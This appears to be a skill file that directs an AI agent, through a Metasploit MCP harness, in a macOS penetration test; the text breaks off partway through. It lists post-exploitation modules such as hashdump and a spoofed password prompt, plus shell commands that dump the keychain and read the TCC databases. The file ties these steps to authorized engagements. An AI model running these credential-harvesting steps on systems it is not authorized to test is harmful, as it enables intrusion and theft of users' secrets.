metasploit-cursor-harness: Skill for Cursor

macOS Pentest

Prerequisites

• macOS targets are explicitly in engagement ROE.
• Hybrid AD environments: also load internal-ad-pentest for domain-joined Macs.
• Shared Unix patterns: cross-reference linux-pentest for cron, sudo, PATH abuse.

Workflow

Task Progress:
- [ ] Identify macOS version, chip (Intel/ARM), and enrollment (MDM)
- [ ] Enumerate users, TCC permissions, keychain, sensitive locations
- [ ] Test privesc paths (dyld hijack, XPC, entitlements, sandbox bypass)
- [ ] Document with paths and macOS build numbers

Phase 1: Enumeration

System info

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/enum_osx",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/osx/gather/enum_collector",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

sw_vers
uname -a
system_profiler SPSoftwareDataType SPHardwareDataType
id
sudo -l
csrutil status
spctl --status

Keychain and sensitive locations

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/osx/gather/password_prompt_spoof",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

ls -la ~/Library/Keychains/
security dump-keychain ~/Library/Keychains/login.keychain-db
find / -perm -4000 -type f 2>/dev/null

TCC database

MSF: No direct module; use CLI.

CLI fallback:

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"

Launch agents and daemons

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/enum_launchagents",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback: